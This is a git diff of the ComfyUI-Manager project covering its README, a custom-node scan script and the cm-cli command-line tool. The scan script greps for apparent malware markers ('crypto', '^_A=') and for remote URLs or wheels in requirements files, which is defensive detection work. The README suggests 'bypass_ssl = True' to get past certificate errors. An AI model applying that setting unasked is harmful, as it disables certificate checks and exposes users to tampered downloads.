* <USER_DIRECTORY>
|
||||
* If executed without any options, the path defaults to ComfyUI/user.
|
||||
* It can be set using --user-directory <USER_DIRECTORY>.
|
||||
|
||||
* Basic config files: `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini`
|
||||
* Configurable channel lists: `<USER_DIRECTORY>/default/ComfyUI-Manager/channels.ini`
|
||||
* Configurable pip overrides: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_overrides.json`
|
||||
* Configurable pip blacklist: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_blacklist.list`
|
||||
* Configurable pip auto fix: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_auto_fix.list`
|
||||
* Saved snapshot files: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
|
||||
* Startup script files: `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts`
|
||||
* Component files: `<USER_DIRECTORY>/default/ComfyUI-Manager/components`
|
||||
* Basic config files: `<USER_DIRECTORY>/__manager/config.ini`
|
||||
* Configurable channel lists: `<USER_DIRECTORY>/__manager/channels.ini`
|
||||
* Configurable pip overrides: `<USER_DIRECTORY>/__manager/pip_overrides.json`
|
||||
* Configurable pip blacklist: `<USER_DIRECTORY>/__manager/pip_blacklist.list`
|
||||
* Configurable pip auto fix: `<USER_DIRECTORY>/__manager/pip_auto_fix.list`
|
||||
* Saved snapshot files: `<USER_DIRECTORY>/__manager/snapshots`
|
||||
* Startup script files: `<USER_DIRECTORY>/__manager/startup-scripts`
|
||||
* Component files: `<USER_DIRECTORY>/__manager/components`
|
||||
|
||||
|
||||
## `extra_model_paths.yaml` Configuration
|
||||
@@ -115,17 +115,17 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
|
||||
## Snapshot-Manager
|
||||
* When you press `Save snapshot` or use `Update All` on `Manager Menu`, the current installation status snapshot is saved.
|
||||
* Snapshot file dir: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
|
||||
* Snapshot file dir: `<USER_DIRECTORY>/__manager/snapshots`
|
||||
* You can rename snapshot file.
|
||||
* Press the "Restore" button to revert to the installation status of the respective snapshot.
|
||||
* However, for custom nodes not managed by Git, snapshot support is incomplete.
|
||||
* When you press `Restore`, it will take effect on the next ComfyUI startup.
|
||||
* The selected snapshot file is saved in `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
|
||||
* The selected snapshot file is saved in `<USER_DIRECTORY>/__manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
|
||||
|
||||

|
||||
|
||||
|
||||
## cm-cli: command line tools for power user
|
||||
## cm-cli: command line tools for power users
|
||||
* A tool is provided that allows you to use the features of ComfyUI-Manager without running ComfyUI.
|
||||
* For more details, please refer to the [cm-cli documentation](docs/en/cm-cli.md).
|
||||
|
||||
@@ -169,12 +169,12 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
}
|
||||
```
|
||||
* `<current timestamp>` Ensure that the timestamp is always unique.
|
||||
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
|
||||
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/__manager/components`.
|
||||
* `<component name>`: The name should be in the format `<prefix>::<node name>`.
|
||||
* `<compnent nodeata>`: In the nodedata of the group node.
|
||||
* `<component node data>`: In the node data of the group node.
|
||||
* `<version>`: Only two formats are allowed: `major.minor.patch` or `major.minor`. (e.g. `1.0`, `2.2.1`)
|
||||
* `<datetime>`: Saved time
|
||||
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
|
||||
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/__manager/components`.
|
||||
* `<category>`: If there is neither a category nor a packname, it is saved in the components category.
|
||||
```
|
||||
"version":"1.0",
|
||||
@@ -189,7 +189,7 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
* Dragging and dropping or pasting a single component will add a node. However, when adding multiple components, nodes will not be added.
|
||||
|
||||
|
||||
## Support of missing nodes installation
|
||||
## Support for installing missing nodes
|
||||
|
||||

|
||||
|
||||
@@ -229,10 +229,10 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
* Logging to file feature
|
||||
* This feature is enabled by default and can be disabled by setting `file_logging = False` in the `config.ini`.
|
||||
|
||||
* Fix node(recreate): When right-clicking on a node and selecting `Fix node (recreate)`, you can recreate the node. The widget's values are reset, while the connections maintain those with the same names.
|
||||
* Fix node (recreate): When right-clicking on a node and selecting `Fix node (recreate)`, you can recreate the node. The widget's values are reset, while the connections maintain those with the same names.
|
||||
* It is used to correct errors in nodes of old workflows created before, which are incompatible with the version changes of custom nodes.
|
||||
|
||||
* Double-Click Node Title: You can set the double click behavior of nodes in the ComfyUI-Manager menu.
|
||||
* Double-Click Node Title: You can set the double-click behavior of nodes in the ComfyUI-Manager menu.
|
||||
* `Copy All Connections`, `Copy Input Connections`: Double-clicking a node copies the connections of the nearest node.
|
||||
* This action targets the nearest node within a straight-line distance of 1000 pixels from the center of the node.
|
||||
* In the case of `Copy All Connections`, it duplicates existing outputs, but since it does not allow duplicate connections, the existing output connections of the original node are disconnected.
|
||||
@@ -298,17 +298,17 @@ When you run the `scan.sh` script:
|
||||
|
||||
* It updates the `github-stats.json`.
|
||||
* This uses the GitHub API, so set your token with `export GITHUB_TOKEN=your_token_here` to avoid quickly reaching the rate limit and malfunctioning.
|
||||
* To skip this step, add the `--skip-update-stat` option.
|
||||
* To skip this step, add the `--skip-stat-update` option.
|
||||
|
||||
* The `--skip-all` option applies both `--skip-update` and `--skip-stat-update`.
|
||||
|
||||
|
||||
## Troubleshooting
|
||||
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini` file that is generated.
|
||||
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/__manager/config.ini` file that is generated.
|
||||
* If updating ComfyUI-Manager itself fails, please go to the **ComfyUI-Manager** directory and execute the command `git update-ref refs/remotes/origin/main a361cc1 && git fetch --all && git pull`.
|
||||
* If you encounter the error message `Overlapped Object has pending operation at deallocation on Comfyui Manager load` under Windows
|
||||
* If you encounter the error message `Overlapped Object has pending operation at deallocation on ComfyUI Manager load` under Windows
|
||||
* Edit `config.ini` file: add `windows_selector_event_loop_policy = True`
|
||||
* if `SSL: CERTIFICATE_VERIFY_FAILED` error is occured.
|
||||
* If the `SSL: CERTIFICATE_VERIFY_FAILED` error occurs.
|
||||
* Edit `config.ini` file: add `bypass_ssl = True`
|
||||
|
||||
|
||||
|
||||
@@ -37,7 +37,7 @@ find ~/.tmp/default -name "*.py" -print0 | xargs -0 grep -E "crypto|^_A="
|
||||
|
||||
echo
|
||||
echo CHECK3
|
||||
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*https\\?:"
|
||||
find ~/.tmp/default -name "requirements.txt" | xargs grep "\.whl"
|
||||
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*[^#]*https\?:"
|
||||
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*[^#].*\.whl"
|
||||
|
||||
echo
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
def main():
|
||||
from .__main__ import main as _main
|
||||
_main()
|
||||
@@ -15,8 +15,6 @@ import git
|
||||
import importlib
|
||||
|
||||
|
||||
from ..common import manager_util
|
||||
|
||||
# read env vars
|
||||
# COMFYUI_FOLDERS_BASE_PATH is not required in cm-cli.py
|
||||
# `comfy_path` should be resolved before importing manager_core
|
||||
@@ -35,11 +33,12 @@ if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
|
||||
|
||||
|
||||
import utils.extra_config
|
||||
from ..common import cm_global
|
||||
from ..glob import manager_core as core
|
||||
from ..common import context
|
||||
from ..glob.manager_core import unified_manager
|
||||
from ..common import cnr_utils
|
||||
from comfyui_manager.common import manager_util
|
||||
from comfyui_manager.common import cm_global
|
||||
from comfyui_manager.legacy import manager_core as core
|
||||
from comfyui_manager.common import context
|
||||
from comfyui_manager.legacy.manager_core import unified_manager
|
||||
from comfyui_manager.common import cnr_utils
|
||||
|
||||
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
|
||||
|
||||
@@ -129,7 +128,8 @@ class Ctx:
|
||||
if channel is not None:
|
||||
self.channel = channel
|
||||
|
||||
unified_manager.reload()
|
||||
asyncio.run(unified_manager.reload(cache_mode=self.mode, dont_wait=False))
|
||||
asyncio.run(unified_manager.load_nightly(self.channel, self.mode))
|
||||
|
||||
def set_no_deps(self, no_deps):
|
||||
self.no_deps = no_deps
|
||||
@@ -183,23 +183,22 @@ class Ctx:
|
||||
cmd_ctx = Ctx()
|
||||
|
||||
|
||||
class NodeInstallError(Exception):
|
||||
"""Raised when a node installation fails and the caller requested failure propagation."""
|
||||
pass
|
||||
|
||||
|
||||
def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
|
||||
exit_on_fail = kwargs.get('exit_on_fail', False)
|
||||
print(f"install_node exit on fail:{exit_on_fail}...")
|
||||
|
||||
if unified_manager.is_url_like(node_spec_str):
|
||||
# install via git URLs
|
||||
repo_name = os.path.basename(node_spec_str)
|
||||
if repo_name.endswith('.git'):
|
||||
repo_name = repo_name[:-4]
|
||||
res = asyncio.run(unified_manager.repo_install(
|
||||
node_spec_str, repo_name, instant_execution=True, no_deps=cmd_ctx.no_deps
|
||||
))
|
||||
raise_on_fail = kwargs.get('raise_on_fail', False)
|
||||
|
||||
if core.is_valid_url(node_spec_str):
|
||||
# install via urls
|
||||
res = asyncio.run(core.gitclone_install(node_spec_str, no_deps=cmd_ctx.no_deps))
|
||||
if not res.result:
|
||||
print(res.msg)
|
||||
print(f"[bold red]ERROR: An error occurred while installing '{node_spec_str}'.[/bold red]")
|
||||
if exit_on_fail:
|
||||
sys.exit(1)
|
||||
if raise_on_fail:
|
||||
raise NodeInstallError(node_spec_str)
|
||||
else:
|
||||
print(f"{cnt_msg} [INSTALLED] {node_spec_str:50}")
|
||||
else:
|
||||
@@ -228,23 +227,40 @@ def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
|
||||
print(f"{cnt_msg} [INSTALLED] {node_name:50}[{res.target}]")
|
||||
elif res.action == 'switch-cnr' and res.result:
|
||||
print(f"{cnt_msg} [INSTALLED] {node_name:50}[{res.target}]")
|
||||
elif (res.action == 'switch-cnr' or res.action == 'install-cnr') and not res.result and cnr_utils.get_nodepack(node_name):
|
||||
elif (res.action == 'switch-cnr' or res.action == 'install-cnr') and not res.result and node_name in unified_manager.cnr_map:
|
||||
print(f"\nAvailable version of '{node_name}'")
|
||||
show_versions(node_name)
|
||||
print("")
|
||||
else:
|
||||
print(f"[bold red]ERROR: An error occurred while installing '{node_name}'.\n{res.msg}[/bold red]")
|
||||
if exit_on_fail:
|
||||
sys.exit(1)
|
||||
if raise_on_fail:
|
||||
raise NodeInstallError(node_name)
|
||||
|
||||
|
||||
def reinstall_node(node_spec_str, is_all=False, cnt_msg=''):
|
||||
node_spec = unified_manager.resolve_node_spec(node_spec_str)
|
||||
if core.is_valid_url(node_spec_str):
|
||||
# URL-based: resolve_node_spec returns the full URL as node_name,
|
||||
# but internal dicts are keyed by repo basename or cnr_id.
|
||||
url = node_spec_str.rstrip('/')
|
||||
cnr = unified_manager.get_cnr_by_repo(url)
|
||||
if cnr:
|
||||
node_id = cnr['id']
|
||||
unified_manager.unified_uninstall(node_id, False)
|
||||
unified_manager.purge_node_state(node_id)
|
||||
else:
|
||||
repo_name = os.path.splitext(os.path.basename(url))[0]
|
||||
unified_manager.unified_uninstall(repo_name, True)
|
||||
unified_manager.purge_node_state(repo_name)
|
||||
|
||||
node_name, version_spec, _ = node_spec
|
||||
install_node(node_spec_str, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
|
||||
else:
|
||||
node_spec = unified_manager.resolve_node_spec(node_spec_str)
|
||||
node_name, version_spec, _ = node_spec
|
||||
|
||||
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
|
||||
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg)
|
||||
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
|
||||
unified_manager.purge_node_state(node_name)
|
||||
|
||||
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
|
||||
|
||||
|
||||
def fix_node(node_spec_str, is_all=False, cnt_msg=''):
|
||||
@@ -319,10 +335,10 @@ def update_parallel(nodes):
|
||||
if 'all' in nodes:
|
||||
is_all = True
|
||||
nodes = []
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
if pack.is_enabled:
|
||||
nodes.append(pack.id)
|
||||
for x in unified_manager.active_nodes.keys():
|
||||
nodes.append(x)
|
||||
for x in unified_manager.unknown_active_nodes.keys():
|
||||
nodes.append(x+"@unknown")
|
||||
else:
|
||||
nodes = [x for x in nodes if x.lower() not in ['comfy', 'comfyui']]
|
||||
|
||||
@@ -420,60 +436,121 @@ def disable_node(node_spec_str: str, is_all=False, cnt_msg=''):
|
||||
|
||||
|
||||
def show_list(kind, simple=False):
|
||||
"""
|
||||
Show installed nodepacks only with on-demand metadata retrieval
|
||||
Supported kinds: 'installed', 'enabled', 'disabled'
|
||||
"""
|
||||
# Validate supported commands
|
||||
if kind not in ['installed', 'enabled', 'disabled']:
|
||||
print(f"[bold red]Unsupported: 'show {kind}'. Available options: installed/enabled/disabled[/bold red]")
|
||||
print("Note: 'show all', 'show not-installed', and 'show cnr' are no longer supported.")
|
||||
print("Use 'show installed' to see all installed packages.")
|
||||
return
|
||||
custom_nodes = asyncio.run(unified_manager.get_custom_nodes(channel=cmd_ctx.channel, mode=cmd_ctx.mode))
|
||||
|
||||
# Get all installed packages from glob unified_manager
|
||||
all_packages = []
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
all_packages.extend(packages)
|
||||
|
||||
# Filter by status
|
||||
if kind == 'enabled':
|
||||
packages = [pkg for pkg in all_packages if pkg.is_enabled]
|
||||
elif kind == 'disabled':
|
||||
packages = [pkg for pkg in all_packages if pkg.is_disabled]
|
||||
else: # 'installed'
|
||||
packages = all_packages
|
||||
# collect not-installed unknown nodes
|
||||
not_installed_unknown_nodes = []
|
||||
repo_unknown = {}
|
||||
|
||||
# Display packages
|
||||
for package in sorted(packages, key=lambda x: x.id):
|
||||
# Basic info from InstalledNodePackage
|
||||
status = "[ ENABLED ]" if package.is_enabled else "[ DISABLED ]"
|
||||
|
||||
# Enhanced info with on-demand CNR retrieval
|
||||
display_name = package.id
|
||||
author = "Unknown"
|
||||
version = package.version
|
||||
|
||||
# Try to get additional info from CNR for better display
|
||||
if package.is_from_cnr:
|
||||
try:
|
||||
cnr_info = cnr_utils.get_nodepack(package.id)
|
||||
if cnr_info:
|
||||
display_name = cnr_info.get('name', package.id)
|
||||
if 'publisher' in cnr_info and 'name' in cnr_info['publisher']:
|
||||
author = cnr_info['publisher']['name']
|
||||
except Exception:
|
||||
# Fallback to basic info if CNR lookup fails
|
||||
pass
|
||||
elif package.is_nightly:
|
||||
version = "nightly"
|
||||
elif package.is_unknown:
|
||||
version = "unknown"
|
||||
|
||||
if simple:
|
||||
print(f"{display_name}@{version}")
|
||||
for k, v in custom_nodes.items():
|
||||
if 'cnr_latest' not in v:
|
||||
if len(v['files']) == 1:
|
||||
repo_url = v['files'][0]
|
||||
node_name = repo_url.split('/')[-1]
|
||||
if node_name not in unified_manager.unknown_inactive_nodes and node_name not in unified_manager.unknown_active_nodes:
|
||||
not_installed_unknown_nodes.append(v)
|
||||
else:
|
||||
repo_unknown[node_name] = v
|
||||
|
||||
processed = {}
|
||||
unknown_processed = []
|
||||
|
||||
flag = kind in ['all', 'cnr', 'installed', 'enabled']
|
||||
for k, v in unified_manager.active_nodes.items():
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k)
|
||||
if cnr:
|
||||
processed[k] = "[ ENABLED ] ", cnr['name'], k, cnr['publisher']['name'], v[0]
|
||||
else:
|
||||
processed[k] = None
|
||||
else:
|
||||
print(f"{status} {display_name:50} {package.id:30} (author: {author:20}) [{version}]")
|
||||
processed[k] = None
|
||||
|
||||
if flag and kind != 'cnr':
|
||||
for k, v in unified_manager.unknown_active_nodes.items():
|
||||
item = repo_unknown.get(k)
|
||||
|
||||
if item is None:
|
||||
continue
|
||||
|
||||
log_item = "[ ENABLED ] ", item['title'], k, item['author']
|
||||
unknown_processed.append(log_item)
|
||||
|
||||
flag = kind in ['all', 'cnr', 'installed', 'disabled']
|
||||
for k, v in unified_manager.cnr_inactive_nodes.items():
|
||||
if k in processed:
|
||||
continue
|
||||
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k) # NOTE: can this be None if removed from CNR after installed
|
||||
if cnr:
|
||||
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], ", ".join(list(v.keys()))
|
||||
else:
|
||||
processed[k] = None
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
for k, v in unified_manager.nightly_inactive_nodes.items():
|
||||
if k in processed:
|
||||
continue
|
||||
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k)
|
||||
if cnr:
|
||||
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], 'nightly'
|
||||
else:
|
||||
processed[k] = None
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
if flag and kind != 'cnr':
|
||||
for k, v in unified_manager.unknown_inactive_nodes.items():
|
||||
item = repo_unknown.get(k)
|
||||
|
||||
if item is None:
|
||||
continue
|
||||
|
||||
log_item = "[ DISABLED ] ", item['title'], k, item['author']
|
||||
unknown_processed.append(log_item)
|
||||
|
||||
flag = kind in ['all', 'cnr', 'not-installed']
|
||||
for k, v in unified_manager.cnr_map.items():
|
||||
if k in processed:
|
||||
continue
|
||||
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k)
|
||||
if cnr:
|
||||
ver_spec = v['latest_version']['version'] if 'latest_version' in v else '0.0.0'
|
||||
processed[k] = "[ NOT INSTALLED ] ", cnr['name'], k, cnr['publisher']['name'], ver_spec
|
||||
else:
|
||||
processed[k] = None
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
if flag and kind != 'cnr':
|
||||
for x in not_installed_unknown_nodes:
|
||||
if len(x['files']) == 1:
|
||||
node_id = os.path.basename(x['files'][0])
|
||||
log_item = "[ NOT INSTALLED ] ", x['title'], node_id, x['author']
|
||||
unknown_processed.append(log_item)
|
||||
|
||||
for x in processed.values():
|
||||
if x is None:
|
||||
continue
|
||||
|
||||
prefix, title, short_id, author, ver_spec = x
|
||||
if simple:
|
||||
print(title+'@'+ver_spec)
|
||||
else:
|
||||
print(f"{prefix} {title:50} {short_id:30} (author: {author:20}) \\[{ver_spec}]")
|
||||
|
||||
for x in unknown_processed:
|
||||
prefix, title, short_id, author = x
|
||||
if simple:
|
||||
print(title+'@unknown')
|
||||
else:
|
||||
print(f"{prefix} {title:50} {short_id:30} (author: {author:20}) [UNKNOWN]")
|
||||
|
||||
|
||||
async def show_snapshot(simple_mode=False):
|
||||
@@ -514,14 +591,37 @@ async def auto_save_snapshot():
|
||||
|
||||
|
||||
def get_all_installed_node_specs():
|
||||
"""
|
||||
Get all installed node specifications using glob InstalledNodePackage data structure
|
||||
"""
|
||||
res = []
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
node_spec_str = f"{pack.id}@{pack.version}"
|
||||
processed = set()
|
||||
for k, v in unified_manager.active_nodes.items():
|
||||
node_spec_str = f"{k}@{v[0]}"
|
||||
res.append(node_spec_str)
|
||||
processed.add(k)
|
||||
|
||||
for k in unified_manager.cnr_inactive_nodes.keys():
|
||||
if k in processed:
|
||||
continue
|
||||
|
||||
latest = unified_manager.get_from_cnr_inactive_nodes(k)
|
||||
if latest is not None:
|
||||
node_spec_str = f"{k}@{str(latest[0])}"
|
||||
res.append(node_spec_str)
|
||||
|
||||
for k in unified_manager.nightly_inactive_nodes.keys():
|
||||
if k in processed:
|
||||
continue
|
||||
|
||||
node_spec_str = f"{k}@nightly"
|
||||
res.append(node_spec_str)
|
||||
|
||||
for k in unified_manager.unknown_active_nodes.keys():
|
||||
node_spec_str = f"{k}@unknown"
|
||||
res.append(node_spec_str)
|
||||
|
||||
for k in unified_manager.unknown_inactive_nodes.keys():
|
||||
node_spec_str = f"{k}@unknown"
|
||||
res.append(node_spec_str)
|
||||
|
||||
return res
|
||||
|
||||
|
||||
@@ -534,14 +634,20 @@ def for_each_nodes(nodes, act, allow_all=True, **kwargs):
|
||||
nodes = [x for x in nodes if x.lower() not in ['comfy', 'comfyui', 'all']]
|
||||
|
||||
total = len(nodes)
|
||||
i = 1
|
||||
for x in nodes:
|
||||
failed = []
|
||||
for i, x in enumerate(nodes, 1):
|
||||
try:
|
||||
act(x, is_all=is_all, cnt_msg=f'{i}/{total}', **kwargs)
|
||||
except NodeInstallError:
|
||||
failed.append(x)
|
||||
except Exception as e:
|
||||
print(f"ERROR: {e}")
|
||||
traceback.print_exc()
|
||||
i += 1
|
||||
failed.append(x)
|
||||
|
||||
if failed:
|
||||
print(f"\n[bold red]Failed nodes ({len(failed)}/{total}): {', '.join(str(x) for x in failed)}[/bold red]")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
app = typer.Typer()
|
||||
@@ -577,6 +683,14 @@ def install(
|
||||
help="Skip installing any Python dependencies",
|
||||
),
|
||||
] = False,
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After installing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
@@ -588,11 +702,20 @@ def install(
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
if uv_compile and no_deps:
|
||||
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
else:
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
for_each_nodes(nodes, act=install_node, exit_on_fail=exit_on_fail)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command(help="Reinstall custom nodes")
|
||||
@@ -619,6 +742,14 @@ def reinstall(
|
||||
help="Skip installing any Python dependencies",
|
||||
),
|
||||
] = False,
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After reinstalling, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
@@ -626,11 +757,20 @@ def reinstall(
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
if uv_compile and no_deps:
|
||||
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
else:
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
for_each_nodes(nodes, act=reinstall_node)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command(help="Uninstall custom nodes")
|
||||
@@ -675,10 +815,21 @@ def update(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After updating, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
if 'all' in nodes:
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
@@ -690,7 +841,8 @@ def update(
|
||||
break
|
||||
|
||||
update_parallel(nodes)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command(help="Disable custom nodes")
|
||||
@@ -776,16 +928,28 @@ def fix(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After fixing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
if 'all' in nodes:
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
for_each_nodes(nodes, fix_node, allow_all=True)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command("show-versions", help="Show all available versions of the node")
|
||||
@@ -888,31 +1052,6 @@ def simple_show(
|
||||
show_list(arg, True)
|
||||
|
||||
|
||||
@app.command('cli-only-mode', help="Set whether to use ComfyUI-Manager in CLI-only mode.")
|
||||
def cli_only_mode(
|
||||
mode: str = typer.Argument(
|
||||
..., help="[enable|disable]"
|
||||
),
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
)
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cli_mode_flag = os.path.join(cmd_ctx.manager_files_directory, '.enable-cli-only-mode')
|
||||
|
||||
if mode.lower() == 'enable':
|
||||
with open(cli_mode_flag, 'w'):
|
||||
pass
|
||||
print("\nINFO: `cli-only-mode` is enabled\n")
|
||||
elif mode.lower() == 'disable':
|
||||
if os.path.exists(cli_mode_flag):
|
||||
os.remove(cli_mode_flag)
|
||||
print("\nINFO: `cli-only-mode` is disabled\n")
|
||||
else:
|
||||
print(f"\n[bold red]Invalid value for cli-only-mode: {mode}[/bold red]\n")
|
||||
exit(1)
|
||||
|
||||
|
||||
@app.command(
|
||||
"deps-in-workflow", help="Generate dependencies file from workflow (.json/.png)"
|
||||
@@ -1007,7 +1146,7 @@ def save_snapshot(
|
||||
|
||||
@app.command("restore-snapshot", help="Restore snapshot from snapshot file")
|
||||
def restore_snapshot(
|
||||
snapshot_name: str,
|
||||
snapshot_name: str,
|
||||
pip_non_url: Optional[bool] = typer.Option(
|
||||
default=None,
|
||||
show_default=False,
|
||||
@@ -1033,13 +1172,24 @@ def restore_snapshot(
|
||||
restore_to: Optional[str] = typer.Option(
|
||||
None,
|
||||
help="Manually specify the installation path for the custom node. Ignore user directory."
|
||||
)
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After restoring, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
if restore_to:
|
||||
cmd_ctx.update_custom_nodes_dir(restore_to)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
extras = []
|
||||
if pip_non_url:
|
||||
extras.append('--pip-non-url')
|
||||
@@ -1066,8 +1216,11 @@ def restore_snapshot(
|
||||
except Exception:
|
||||
print("[bold red]ERROR: Failed to restore snapshot.[/bold red]")
|
||||
traceback.print_exc()
|
||||
if uv_compile:
|
||||
pip_fixer.fix_broken()
|
||||
raise typer.Exit(code=1)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command(
|
||||
@@ -1077,10 +1230,21 @@ def restore_dependencies(
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
)
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After restoring, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
node_paths = []
|
||||
|
||||
for base_path in cmd_ctx.get_custom_nodes_paths():
|
||||
@@ -1096,9 +1260,10 @@ def restore_dependencies(
|
||||
for x in node_paths:
|
||||
